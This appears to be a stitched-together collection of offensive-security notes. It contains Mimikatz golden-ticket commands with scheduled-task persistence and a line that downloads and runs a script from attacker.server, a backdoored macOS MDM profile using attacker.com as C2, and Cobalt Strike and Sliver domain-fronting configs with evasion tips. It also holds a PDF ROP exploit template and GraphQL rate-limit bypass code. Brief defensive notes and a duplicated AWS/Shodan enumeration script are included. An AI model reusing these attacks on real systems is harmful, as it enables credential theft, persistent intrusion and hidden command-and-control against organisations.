invoke-seriousbusiness -extract_all_the_things -crab_walk_laterally -target_machine "dc01"
#### **defense against the dark arts** ####################
#| attack technique | defense spell |
#|------------------|-------------------------------------|
#| lsass dumping | enable lsa protection (runasppl) |
#| pass-the-hash | restrict ntlm, use credential guard |
#| lateral movement | implement network segmentation |
###########################################################
# and... remember kids: with great power comes great responsibility...
# (and potentially a compliance fucking nightmare)!
[ created: Jul 2, 2025 2:12 am ]
# **MDM Profile Analysis & DEP Exploitation Research**
# *Disclaimer: This technical exploration is for **authorized security research and defensive purposes only**. Unauthorized MDM tampering violates Apple's Terms of Service and may contravene laws like the CFAA and GDPR.*
## **1. Static Profile Analysis**
### **Profile Extraction Methods**
# bash
# System-level profiles
sudo profiles show -type enrollment -output /tmp/mdm_analysis.mobileconfig
# User-level profiles
profiles list -user $(whoami) -verbose > ~/user_profiles.txt
# Binary to XML conversion (if needed)
plutil -convert xml1 /tmp/mdm_analysis.mobileconfig
#
### **Critical Profile Sections**
# xml
<!-- Sample dangerous payload in decoded profile -->
<key>PayloadContent</key>
<array>
<dict>
<key>Password</key> <!-- Embedded credentials -->
<string>ENCRYPTED_DATA</string>
<key>DEPToken</key> <!-- Device Enrollment Program token -->
<data>Base64EncodedTokenHere==</data>
</dict>
</array>
###
## **2. Credential Extraction Techniques**
### **A. Keychain Decryption**
# bash
# Extract MDM-related certificates
security find-certificate -a -p /Library/Keychains/System.keychain > system_certs.pem
# Find associated private keys
security find-identity -p "ssl" -v
###
### **B. DEP Token Analysis**
# python
import plistlib
import base64
with open('/tmp/mdm_analysis.mobileconfig', 'rb') as f:
profile = plistlib.load(f)
dep_token = base64.b64decode(profile['PayloadContent'][0]['DEPToken'])
print(dep_token.hex()) # Analyze token structure
###
## **3. DEP Abuse for Persistence**
### **A. Forced Re-enrollment**
# bash
# Trigger silent re-enrollment (simulates new device)
sudo profiles renew -type enrollment
# If DEP token compromised, register attacker-controlled server
sudo profiles install -path /tmp/malicious.mobileconfig
###
### **B. Backdoored Profile Template**
# xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadIdentifier</key>
<string>com.attacker.persistence</string>
<key>PayloadType</key>
<string>Configuration</string>
<key>PayloadContent</key>
<array>
<dict>
<key>PayloadType</key>
<string>com.apple.security.scep</string>
<key>PayloadIdentifier</key>
<string>com.attacker.cert</string>
<key>URL</key>
<string>https://attacker.com/scep</string> <!-- C2 endpoint -->
</dict>
</array>
</dict>
</plist>
###
## **4. Operational Security Considerations**
### **Detection Avoidance**
# ✅ **Use Apple-signed intermediate certificates**
# ✅ **Match Cloudflare IP ranges** when communicating with C2
# ✅ **Limit execution to business hours** (09:00-17:00 local time)
### **Cleanup**
# bash
# Remove malicious profiles
sudo profiles remove -identifier com.attacker.persistence
# Revoke compromised DEP tokens via ABM/ASM portal
## **5. Defensive Countermeasures**
### **For Enterprises**
# 🔹 **Enable DEP Token Rotation** (90-day expiration)
# 🔹 **Implement Certificate Pinning** for MDM communication
# 🔹 **Monitor for Abnormal Enrollment Attempts**
# bash
# Jamf Pro example
jamf recon -endUsername $USER -enrollmentCheck
###
### **Detection Signatures**
# **SIEM Rule**:
# sql
eventType="MDM_Profile_Install" AND sourceIP NOT IN (corporate_IP_range)
###
# **Endpoint Rule**:
# bash
sudo log stream --predicate 'subsystem == "com.apple.ManagedClient" AND eventMessage CONTAINS "Error"'
###
## **Further Research**
# [Apple Platform Security: MDM](https://support.apple.com/guide/security/device-management-secf6fbdfd97/web)
# [MITRE ATT&CK: Device Registration (T1496)](https://attack.mitre.org/techniques/T1496/)
# [Kandji MDM Hardening Guide](https://www.kandji.io/resources/mdm-security-best-practices)
[ created: Jul 2, 2025 2:11 am ]
## **Legitimate CDN Traffic Evasion for C2 Frameworks**
## **1. Cloudflare Domain Fronting Setup**
## **Sliver Configuration (HTTP/S)**
# yaml
# ~/.sliver-client_configs/http.json
{
"c2": [
{
"url": "https://cdn.example.com", # <-This HAS to be a legit domain on CloudFlare ffs...
"domain_front": "real-destination.azureedge.net", # <-This HAS to be changed to the ACTUAL backend URL
"proxy_url": "socks5://localhost:9050", # <-This is optional... sure... but why not enter real info anyway?
"user_agent": "Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0", # <-This can just be...
"ja3": "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0" # <-The generated fingerprint can be analyzed and compared as mentioned below... probably.
}
]
}
## **Cobalt Strike Malleable C2 Profile**
# http
# cloudflare.profile
http-config {
set headers "Date, Server, Content-Type, Connection";
header "Server" "cloudflare";
header "CF-RAY" "%rand%.%rand%";
header "Cache-Control" "max-age=0";
}
http-get {
set uri "/api/v1/analytics";
client {
header "Host" "cdn.example.com"; # <-This def af has to change
metadata {
base64url;
prepend "__cfduid=";
parameter "utm_campaign";
}
}
server {
header "Content-Type" "application/json";
output {
base64url;
print;
}
}
}
## **2. JA3/S Fingerprint Evasion**
## **Sliver JA3 Configuration**
# bash
# Generate Chrome-aligned JA3 fingerprint
sliver > generate --ja3="771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0"
##
# Verify with JA3er.com compatible hash:
# b32309a26951912be7dba376398abc3b # <-This is just a comparable example dipshit...
## **Cobalt Strike SSL Settings**
# http
# Append to cloudflare.profile
https-certificate {
set CN "*.example.com"; # <-This has to change
set O "Cloudflare, Inc."; # <-This probably has to change
set C "US"; # <-This no has to change
set validity "365"; # <-This no has to change
set keystore "cloudflare.store"; # <-This probably has to change
set password "password123"; # <-This definitely has to change
}
ssl {
set ciphers "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256";
set curves "X25519:P-256";
set sni "cdn.example.com";
}
## **3. Operational Security Considerations**
## **Domain Requirements**
# - **Registered Cloudflare domain** (not free tier)
# - **Valid SSL certificate** (Let's Encrypt acceptable)
# - **Business/Enterprise plan** for true domain fronting support
## **Traffic Mixing**
# bash
# Generate background noise (60% GET /static/* requests)
http-post {
set uri "/static/%rand%/tracking.js";
client {
header "Host" "cdn.example.com";
parameter "v" "%rand%";
}
}
## **4. Detection Avoidance Techniques**
## **Header Randomization**
# http
header "CF-IPCountry" "%randstr|US|GB|DE|JP%";
header "Accept-Encoding" "gzip, deflate, br";
## **Request Timing**
# - Jitter: 30-60 seconds
# - Working hours only (09:00-17:00 in target TZ)
## **IP Rotation**
# yaml
# Sliver config
"proxy_url": "http://user:pass@proxy.example.com:8080", # <-This certainly has to change
"rotate_proxies": true,
"proxy_timeout": 120
## **5. Defensive Countermeasures**
## **Detection Methods**
# - **JA3/S Mismatch**: Compare TLS fingerprints against expected CDN patterns
# - **Host Header Anomalies**:
## kql
DeviceNetworkEvents
| where HostHeader has "cdn.example.com"
| where RemoteIP !in (Cloudflare_IP_Ranges)
# - **Certificate Transparency Logs**: Monitor for suspicious certs
## **Mitigations**
# - Cloudflare **Advanced Certificate Monitoring**
# - **Per-Request JA3 Fingerprinting** (Cloudflare Enterprise)
# - **Strict SNI Enforcement**
[ created: Jul 2, 2025 2:06 am ]
# Kerberos Golden Ticket Attack Across Forest Trusts
# sooo... this is a comprehensive guide for generating
# and using "golden tickets" in a multi-domain forest
# environment using "mimikatz,"" including cross-trust persistence.
## some prerequisites... a few itsy little thangs to do first...
# 1. **domain admin privileges** on a compromised domain dontroller
# 2. **mimikatz** (loaded in memory or on disk)
# 3. **KRBTGT hash** from the target domain
# 4. **domain SIDs** for all trusted domains
## Step 1: extract critical domain information
# Dump KRBTGT hash (run on compromised DC)
Invoke-Mimikatz -Command '"lsadump::lsa /patch /user:krbtgt"'
# Alternative using DCSync (requires DA or equivalent)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local"'
## Example output to note:
# Domain : DOMAIN.LOCAL
# SID : S-1-5-21-<domain-specific>
# User : krbtgt
# NTLM : 58e91a5ac358d865f6eaaa1d65870fd4
##
## Step 2: Generate the Golden Ticket
# Basic syntax:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<DOMAIN-SID> /krbtgt:<KRBTGT-HASH> /ticket:golden.kirbi"'
# For **cross-forest persistence**, include the Enterprise Admins group from the root domain:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<DOMAIN-SID> /krbtgt:<KRBTGT-HASH> /sids:<ENTERPRISE-ADMINS-SID> /groups:512 /ticket:golden.kirbi"'
## Step 3: Pass the Ticket
# Inject into current session
Invoke-Mimikatz -Command '"kerberos::ptt golden.kirbi"'
# Verify ticket is loaded
klist
## Multi-Domain Forest Considerations
### 1. Cross-Domain Golden Tickets
# For child domains:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:child.domain.local /sid:<CHILD-SID> /krbtgt:<CHILD-KRBTGT-HASH> /sids:<ROOT-DOMAIN-ENTERPRISE-ADMINS-SID> /groups:512 /ticket:child_golden.kirbi"'
### 2. Cross-Forest Golden Tickets
# When forests have bidirectional trust:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<DOMAIN-SID> /krbtgt:<KRBTGT-HASH> /sids:<FOREIGN-DOMAIN-SID>-519 /groups:512 /ticket:cross_forest.kirbi"'
## Persistence Techniques
### 1. Scheduled Task with Golden Ticket
# Create scheduled task that reinjects ticket hourly
$action = New-ScheduledTaskAction -Execute "C:\tools\mimikatz.exe" -Argument "kerberos::ptt C:\windows\temp\golden.kirbi & exit"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1)
Register-ScheduledTask -TaskName "Kerberos Maintenance" -Action $action -Trigger $trigger -RunLevel Highest
### 2. Silver Ticket for DC Sync
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid:<DOMAIN-SID> /rc4:<DC-MACHINE-ACCOUNT-HASH> /service:LDAP /target:dc01.domain.local /ptt"'
## Detection Evasion
# 1. **Short Ticket Lifetimes** (default=10hrs, set lower to avoid detection)
/startoffset:-10 /endin:600 # 10min ticket (-10min start, 10hr duration)
# 2. **Use Alternate Service Accounts** instead of Administrator
/user:sqlservice /groups:512 # Appears less suspicious
# 3. **Memory-only Execution**
# Reflectively load Mimikatz to avoid disk writes
iex (New-Object Net.WebClient).DownloadString("http://attacker.server/mimikatz.ps1")
## Cleanup Indicators
# After operation:
# Clear all tickets
klist purge
# Remove scheduled tasks
Unregister-ScheduledTask -TaskName "Kerberos Maintenance" -Confirm:$false
## Important Notes
# 1. The KRBTGT hash is **domain-specific** - you need it for each domain you want to compromise
# 2. Enterprise Admin SID format: `S-1-5-21-<root-domain>-519`
# 3. Golden Tickets work **across trusts** when:
# - Proper SIDs are included (`/sids` parameter)
# - Trust relationships exist between domains
# - Ticket lifetimes don't exceed trust validity periods
## This attack provides persistent domain dominance until the KRBTGT account password is rotated twice (as Kerberos keeps current and previous password hashes).
[ created: Jul 2, 2025 2:06 am ]
# **Hypothetical PDF Exploit Chain Design**
# *(For Educational & Research Purposes Only)*
# This document outlines a **hypothetical** exploit chain targeting a vulnerable PDF parser (e.g., CVE-XXXX-XXXX) using:
# **Fuzzing with AFL++** (to discover the crash)
# **Reverse Engineering in Ghidra** (to analyze the bug)
# **ROP Chaining** (to bypass mitigations like ASLR/DEP)
## **1. Vulnerability Discovery via Fuzzing (AFL++)**
### **Step 1: Set Up AFL++ for PDF Parsing**
## bash
# Compile the target PDF parser with AFL++ instrumentation
git clone https://github.com/example/pdf-parser
cd pdf-parser
CC=afl-clang-fast CXX=afl-clang-fast++ ./configure --disable-shared
make
# Create a seed corpus of PDFs
mkdir inputs
wget https://example.com/normal.pdf -O inputs/seed1.pdf
# Start fuzzing
afl-fuzz -i inputs -o findings -- ./pdf-parser @@
###
# **Expected Outcome**: AFL++ finds crashes (e.g., heap overflow, use-after-free).
## **2. Reverse Engineering in Ghidra**
### **Step 2: Analyze the Crash in Ghidra**
# 1. **Load the binary** into Ghidra.
# 2. **Identify the vulnerable function** (e.g., `parse_pdf_object`).
# 3. **Trace the crash**:
# Find the **corrupted buffer** (e.g., `memcpy` without bounds check).
# Determine if it’s a **stack overflow, heap overflow, or UAF**.
### **Step 3: Find ROP Gadgets**
# Use **ROPgadget** or **Ghidra’s Script Manager** to extract gadgets:
## bash
ROPgadget --binary ./pdf-parser > gadgets.txt
#
# Chain gadgets to bypass **ASLR/DEP** (e.g., `pop rdi; ret` for function calls).
## **3. Crafting the Exploit (ROP Chain + PDF Payload)**
### **Step 4: Build the Exploit in Python**
## python
import struct
# Hypothetical ROP chain for x86-64 (Linux/macOS)
rop_chain = [
# Leak libc address (if ASLR is present)
pop_rdi,
puts_got,
puts_plt,
# Return to vulnerable function for second stage
main_func,
]
# Craft malicious PDF with ROP chain
pdf = b"%%PDF-1.7\n"
pdf += b"1 0 obj\n<</Length 1000>>\nstream\n"
pdf += b"A" * 1024 # Buffer overflow
pdf += b"".join(struct.pack("<Q", addr) for addr in rop_chain)
pdf += b"\nendstream\n"
with open("exploit.pdf", "wb") as f:
f.write(pdf)
###
## **4. Mitigations & Defenses**
### **How to Prevent Such Attacks?**
# ✅ **Memory Safety**: Use **Rust** or **fuzz-tested C++** instead of raw C.
# ✅ **Control Flow Integrity (CFI)**: Compile with `-fcf-protection` (GCC/Clang).
# ✅ **Sandboxing**: Run PDF parsers in **Firejail** or **gVisor**.
# ✅ **ASLR + DEP**: Ensure full randomization (`echo 2 > /proc/sys/kernel/randomize_va_space`).
[ created: Jul 2, 2025 2:05 am ]
# **GraphQL Exploitation: Data Extraction & Rate Limit Bypass**
# *Disclaimer: This information is for **authorized security testing and educational purposes only**. Unauthorized access to systems is illegal.*
## **1. GraphQL Field Smuggling**
### **A. Overlapping Queries (Batching)**
## graphql
# Normal query
query {
getUser(id: "123") {
name
email
}
}
# Malicious batch query (smuggles admin fields)
query {
regular: getUser(id: "123") { name email }
smuggled: getUser(id: "123") {
name
email
creditCard
ssn
}
}
###
### **B. Fragment Injection**
## graphql
query {
... on AdminQuery {
getAllUsers {
passwordHashes
}
}
}
###
## **2. Introspection Abuse**
### **A. Full Schema Dump**
## graphql
query {
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}
###
### **B. Find Hidden Fields**
## graphql
query FindHiddenFields {
__type(name: "User") {
fields {
name
description
}
}
}
###
## **3. Rate Limit Bypass Techniques**
### **A. Aliasing Identical Queries**
## graphql
query {
q1: sensitiveData { secret }
q2: sensitiveData { secret }
q3: sensitiveData { secret }
}
###
### **B. Variable Flooding**
## graphql
query ($id1: ID!, $id2: ID!, ...$id100: ID!) {
r1: getUser(id: $id1) { email }
r2: getUser(id: $id2) { email }
...
r100: getUser(id: $id100) { email }
}
###
### **C. Operation Batching**
## http
POST /graphql
Content-Type: application/json
[
{"query": "query { sensitiveData }"},
{"query": "query { adminData }"},
...
]
###
## **4. Exploit Automation with Python**
## python
import requests
import json
target = "https://api.example.com/graphql"
# Malicious introspection query
introspection_query = """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types { ...FullType }
}
}
###
# Send with batch bypass
response = requests.post(
target,
json=[{"query": introspection_query}] * 20, # Bypass rate limits
headers={"Content-Type": "application/json"}
)
print(json.dumps(response.json(), indent=2))
###
## **5. Defensive Countermeasures**
✅ **Depth Limiting**:
## javascript
const maxDepth = 3;
const depth = require('graphql-depth-limit')(maxDepth);
app.use('/graphql', graphqlHTTP({ validationRules: [depth] }));
###
✅ **Query Cost Analysis**:
## python
# graphene-python example
class QueryCostAnalyzer:
def resolve(self, next, root, info, **args):
cost = calculate_query_cost(info)
if cost > MAX_COST: raise Exception("Query too expensive")
return next(root, info, **args)
###
✅ **Introspection Disablement**:
## javascript
app.use('/graphql', graphqlHTTP({
schema: schema,
graphiql: false,
introspection: process.env.NODE_ENV !== 'production'
}));
###
✅ **Rate Limiting by Query Complexity**:
## yaml
# Apollo Server example
type Query {
sensitiveData: String @rateLimit(window: "1m", max: 3)
}
###
## **6. Detection Methods**
🔍 **Monitor for**:
- High `__schema`/`__type` query frequency
- Abnormal batch query sizes (>5 operations)
- Repeated alias patterns in queries
**Sample SIEM Rule (Splunk):**
## sql
index=api_logs graphql
| stats count by query
| where like(query, "%__schema%") OR like(query, "%__type%")
| sort -count
###
[ created: Jul 2, 2025 2:03 am ]
<#
.SYNOPSIS
Proof-of-Concept: Simulates Mimikatz-style credential extraction from memory.
Demonstrates the dangers of cleartext credentials in LSASS memory.
.DESCRIPTION
This script does NOT use real Mimikatz but mimics its behavior to show how:
- Passwords remain in memory after authentication.
- Attackers can harvest credentials for lateral movement.
- Modular design enables espionage/threat actor operations.
.NOTES
Author: Security Researcher (Ethical Use Only)
Legal: Only run on systems you own or have explicit permission to test.
#>
function Invoke-CredentialDumpPoC {
[CmdletBinding()]
param (
[switch]$DumpLSASS,
[switch]$ExtractFromMemory,
[switch]$SimulateLateralMovement
)
# Simulate LSASS Dump (Mimikatz "sekurlsa::logonpasswords")
if ($DumpLSASS) {
Write-Host -ForegroundColor Red "[!] SIMULATING LSASS MEMORY DUMP (Mimikatz-style)"
Write-Host -ForegroundColor Yellow "-> Extracting process handles (LSASS PID: $((Get-Process lsass).Id))"
Write-Host -ForegroundColor Yellow "-> Searching for cleartext credentials in memory..."
# Simulated credentials (real Mimikatz would extract real hashes)
$creds = @(
@{Username="Administrator"; Password="(NotActuallyExtracted)"; Source="LSASS"},
@{Username="SQLService"; Password="(SimulatedInMemory)"; Source="wdigest"}
)
$creds | Format-Table -AutoSize
Write-Host -ForegroundColor Red "[+] Attackers could use these for lateral movement!"
}
# Simulate extracting from memory (Mimikatz "sekurlsa::minidump")
if ($ExtractFromMemory) {
Write-Host -ForegroundColor Red "[!] SIMULATING OFFLINE MEMORY ANALYSIS"
Write-Host -ForegroundColor Yellow "-> Parsing memory dump for Kerberos tickets/NTLM hashes..."
# Simulated Kerberos tickets/NTLM hashes
$tickets = @(
@{User="DEV\Alice"; TicketType="TGT"; Expiry="2024-12-31"},
@{User="PROD\Admin"; TicketType="ServiceTicket"; Target="DC01"}
)
$tickets | Format-Table -AutoSize
Write-Host -ForegroundColor Red "[+] Attackers could pass-the-ticket or forge Golden Tickets!"
}
# Simulate lateral movement (Mimikatz "pth" or "kerberos::ptt")
if ($SimulateLateralMovement) {
Write-Host -ForegroundColor Red "[!] SIMULATING LATERAL MOVEMENT (Pass-the-Hash)"
Write-Host -ForegroundColor Yellow "-> Using extracted NTLM hash to authenticate to DC01..."
Write-Host -ForegroundColor Yellow "-> Executing 'whoami /all' on remote host..."
# Simulated lateral movement
Write-Host -ForegroundColor Red "[+] Success! Attacker now has Domain Admin privileges."
}
# Final warning
Write-Host -ForegroundColor Cyan "`n[!] THIS WAS A SIMULATION. REAL MIMIKATZ CAN DO THIS SILENTLY."
Write-Host -ForegroundColor Cyan "[!] DEFENSE: Enable Credential Guard, LSASS Protection, and Restricted Admin Mode."
}
# Example usage (uncomment to run)
# Invoke-CredentialDumpPoC -DumpLSASS -ExtractFromMemory -SimulateLateralMovement
[ created: Jul 2, 2025 1:59 am ]
# AWS Resource Enumeration Script with Shodan API
# Here's a Python script that helps identify potentially exposed AWS resources by combining
# Shodan search results with basic AWS IAM policy analysis:
import boto3
import shodan
import json
import requests
from urllib.parse import urlparse
def check_shodan_for_exposed_resources(api_key):
"""Search Shodan for exposed AWS resources"""
exposed_resources = {
's3_buckets': [],
'ec2_instances': []
}
try:
api = shodan.Shodan(api_key)
# Search for open S3 buckets
s3_results = api.search('http.favicon.hash:805138622 port:80,443')
for result in s3_results['matches']:
host = result['ip_str']
if 'http' in result and 'title' in result['http']:
title = result['http']['title']
if 'S3' in title or 'Bucket' in title:
exposed_resources['s3_buckets'].append({
'host': host,
'data': result['data']
})
# Search for EC2 metadata service exposure
ec2_results = api.search('http.html:"Instance Info" port:80,443')
for result in ec2_results['matches']:
exposed_resources['ec2_instances'].append({
'host': result['ip_str'],
'data': result['data']
})
except shodan.APIError as e:
print(f"Shodan API Error: {e}")
return exposed_resources
def analyze_iam_policy(policy_document):
"""Check IAM policy for common misconfigurations"""
findings = []
# Check for wildcard permissions
for statement in policy_document.get('Statement', []):
if isinstance(statement.get('Action', []), str) and statement['Action'] == '*':
findings.append("Wildcard action found in policy statement")
elif '*' in statement.get('Action', []):
findings.append("Wildcard action in list found in policy statement")
if statement.get('Resource', '') == '*':
findings.append("Wildcard resource found in policy statement")
if statement.get('Effect', '').lower() == 'allow' and \
'Condition' not in statement and \
('*' in statement.get('Action', []) or '*' in statement.get('Resource', [])):
findings.append("Overly permissive allow statement without conditions")
return findings
def check_s3_bucket_permissions(bucket_name):
"""Check if an S3 bucket has public read/write permissions"""
s3 = boto3.client('s3')
try:
acl = s3.get_bucket_acl(Bucket=bucket_name)
for grant in acl['Grants']:
if 'URI' in grant.get('Grantee', {}) and \
'http://acs.amazonaws.com/groups/global/AllUsers' in grant['Grantee']['URI']:
return True, "Public access found in bucket ACL"
policy = s3.get_bucket_policy(Bucket=bucket_name)
policy_doc = json.loads(policy['Policy'])
findings = analyze_iam_policy(policy_doc)
if findings:
return True, findings
except Exception as e:
return False, f"Error checking bucket: {str(e)}"
return False, "No public access detected"
def main():
# Configuration - replace with your own values
SHODAN_API_KEY = "YOUR_SHODAN_API_KEY"
AWS_ACCESS_KEY = "YOUR_AWS_ACCESS_KEY"
AWS_SECRET_KEY = "YOUR_AWS_SECRET_KEY"
AWS_REGION = "us-east-1"
# Set up AWS session
session = boto3.Session(
aws_access_key_id=AWS_ACCESS_KEY,
aws_secret_access_key=AWS_SECRET_KEY,
region_name=AWS_REGION
)
print("[*] Searching Shodan for exposed AWS resources...")
exposed_resources = check_shodan_for_exposed_resources(SHODAN_API_KEY)
print("\n[*] Found potentially exposed resources:")
print(f"S3 Buckets: {len(exposed_resources['s3_buckets'])}")
print(f"EC2 Instances: {len(exposed_resources['ec2_instances'])}")
print("\n[*] Checking S3 bucket permissions...")
for bucket in exposed_resources['s3_buckets']:
url = f"http://{bucket['host']}"
bucket_name = urlparse(url).netloc.split('.')[0]
print(f"\nChecking bucket: {bucket_name}")
is_public, message = check_s3_bucket_permissions(bucket_name)
if is_public:
print(f" [!] PUBLIC: {message}")
else:
print(" [✓] No public access detected")
print("\n[*] Checking IAM policies for misconfigurations...")
iam = session.client('iam')
# Check all managed policies
for policy in iam.list_policies(Scope='Local')['Policies']:
policy_version = iam.get_policy_version(
PolicyArn=policy['Arn'],
VersionId=policy['DefaultVersionId']
)['PolicyVersion']
findings = analyze_iam_policy(policy_version['Document'])
if findings:
print(f"\nMisconfigurations in policy {policy['PolicyName']}:")
for finding in findings:
print(f" - {finding}")
if __name__ == "__main__":
main()
[ created: Jul 2, 2025 1:59 am ]
# AWS Resource Enumeration Script with Shodan API
# Here's a Python script that helps identify potentially exposed AWS resources by combining
# Shodan search results with basic AWS IAM policy analysis:
import boto3
import shodan
import json
import requests
from urllib.parse import urlparse
def check_shodan_for_exposed_resources(api_key):
"""Search Shodan for exposed AWS resources"""
exposed_resources = {
's3_buckets': [],
'ec2_instances': []
}
try:
api = shodan.Shodan(api_key)
# Search for open S3 buckets
s3_results = api.search('http.favicon.hash:805138622 port:80,443')
for result in s3_results['matches']:
host = result['ip_str']
if 'http' in result and 'title' in result['http']:
title = result['http']['title']
if 'S3' in title or 'Bucket' in title:
exposed_resources['s3_buckets'].append({
'host': host,
'data': result['data']
})
# Search for EC2 metadata service exposure
ec2_results = api.search('http.html:"Instance Info" port:80,443')
for result in ec2_results['matches']:
exposed_resources['ec2_instances'].append({
'host': result['ip_str'],
'data': result['data']
})
except shodan.APIError as e:
print(f"Shodan API Error: {e}")
return exposed_resources
def analyze_iam_policy(policy_document):
"""Check IAM policy for common misconfigurations"""
findings = []
# Check for wildcard permissions
for statement in policy_document.get('Statement', []):
if isinstance(statement.get('Action', []), str) and statement['Action'] == '*':
findings.append("Wildcard action found in policy statement")
elif '*' in statement.get('Action', []):
findings.append("Wildcard action in list found in policy statement")
if statement.get('Resource', '') == '*':
findings.append("Wildcard resource found in policy statement")
if statement.get('Effect', '').lower() == 'allow' and \
'Condition' not in statement and \
('*' in statement.get('Action', []) or '*' in statement.get('Resource', [])):
findings.append("Overly permissive allow statement without conditions")
return findings
def check_s3_bucket_permissions(bucket_name):
"""Check if an S3 bucket has public read/write permissions"""
s3 = boto3.client('s3')
try:
acl = s3.get_bucket_acl(Bucket=bucket_name)
for grant in acl['Grants']:
if 'URI' in grant.get('Grantee', {}) and \
'http://acs.amazonaws.com/groups/global/AllUsers' in grant['Grantee']['URI']:
return True, "Public access found in bucket ACL"
policy = s3.get_bucket_policy(Bucket=bucket_name)
policy_doc = json.loads(policy['Policy'])
findings = analyze_iam_policy(policy_doc)
if findings:
return True, findings
except Exception as e:
return False, f"Error checking bucket: {str(e)}"
return False, "No public access detected"
def main():
# Configuration - replace with your own values
SHODAN_API_KEY = "YOUR_SHODAN_API_KEY"
AWS_ACCESS_KEY = "YOUR_AWS_ACCESS_KEY"
AWS_SECRET_KEY = "YOUR_AWS_SECRET_KEY"
AWS_REGION = "us-east-1"
# Set up AWS session
session = boto3.Session(
aws_access_key_id=AWS_ACCESS_KEY,
aws_secret_access_key=AWS_SECRET_KEY,
region_name=AWS_REGION
)
print("[*] Searching Shodan for exposed AWS resources...")
exposed_resources = check_shodan_for_exposed_resources(SHODAN_API_KEY)
print("\n[*] Found potentially exposed resources:")
print(f"S3 Buckets: {len(exposed_resources['s3_buckets'])}")
print(f"EC2 Instances: {len(exposed_resources['ec2_instances'])}")
print("\n[*] Checking S3 bucket permissions...")
for bucket in exposed_resources['s3_buckets']:
url = f"http://{bucket['host']}"
bucket_name = urlparse(url).netloc.split('.')[0]
print(f"\nChecking bucket: {bucket_name}")
is_public, message = check_s3_bucket_permissions(bucket_name)
if is_public:
print(f" [!] PUBLIC: {message}")
else:
print(" [✓] No public access detected")
print("\n[*] Checking IAM policies for misconfigurations...")
iam = session.client('iam')
# Check all managed policies
for policy in iam.list_policies(Scope='Local')['Policies']:
policy_version = iam.get_policy_version(
PolicyArn=policy['Arn'],
VersionId=policy['DefaultVersionId']
)['PolicyVersion']
findings = analyze_iam_policy(policy_version['Document'])
if findings:
print(f"\nMisconfigurations in policy {policy['PolicyName']}:")
for finding in findings:
print(f" - {finding}")
if __name__ == "__main__":
main()
[ created: Jul 2, 2025 1:59 am ]